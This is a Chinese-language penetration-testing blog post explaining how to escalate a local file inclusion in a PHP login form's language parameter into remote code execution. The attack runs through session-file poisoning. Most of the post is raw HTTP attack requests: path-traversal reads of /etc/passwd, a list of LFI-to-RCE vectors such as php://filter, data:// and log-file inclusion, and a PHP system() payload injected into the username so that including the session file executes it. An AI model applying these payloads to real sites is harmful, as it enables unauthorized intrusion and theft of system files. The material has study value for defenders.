?

Sep 22 2017

通過PHP Session將LFI轉化為RCE

首頁 » 滲透測試 » 通過PHP Session將LFI轉化為RCE   

個簡單的文件包含:



1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=en_us.php

有的登錄頁面,會有個參數來指定語言,比如以上的lang參數。


1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd

通過不斷的嘗試遍歷跳目錄,成功包含/etc/passwd,在返回包可以看到內容。

從LFI升級到RCE的一些常見方法

一般找到了本地文件包含之后,可以嘗試轉換一波遠程命令執行。

可能有以下技巧:

  1. 使用文件上傳表單/函數

  2. expect://cmd

  3. php://file

  4. php://filter

  5. input://stream

  6. data://text/plain;base64,command

  7. /proc/self/environ

  8. /proc/self/fd

  9. 一些可控的日志文件,如:

  1. /var/log/apache/access.log

  2. /var/log/apache/error.log

  3. /var/log/vsftpd.log

  4. /var/log/sshd.log

  5. /var/log/mail

也可能會失敗。

通過控制PHP Session實現RCE

這個程序當輸入錯誤的賬號密碼比如admin登錄失敗之后

返回了幾個Set-Cookie,請求中包含php session的值可能存儲在服務器端。

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/

Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP5存儲session文件,默認位置是/var/lib/php5/sess_[PHPSESSID]

所以以上session應該存儲在

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

所以先包含會話文件試一波



1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 107

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=admin&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

返回

user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

很明顯,我們在user參數處輸入php代碼。



1

2

3

4

5

6

7

8

9

10

11

12

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

Content-Length: 134

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

結果,內容寫入了set-cookie,也寫入了session文件

Set-Cookie:user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E;expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly

session文件再用LFI可讀取。注意,需要從請求中刪除cookie,否則會被覆蓋,導致讀取失敗。



1

2

3

4

5

6

7

8

9

10

11

POST /upload/? HTTP/1.1

Host: vulnerable.redacted.com

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 141

Connection: close

Upgrade-Insecure-Requests: 1

 

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

導致命令執行。

微信圖片_20170922124223.jpg

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «基于ThinkPHP的2個CMS后臺GetShell利用 | 滲透筆記:如何通過SQL注入漏洞拿到系統的管理員權限»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖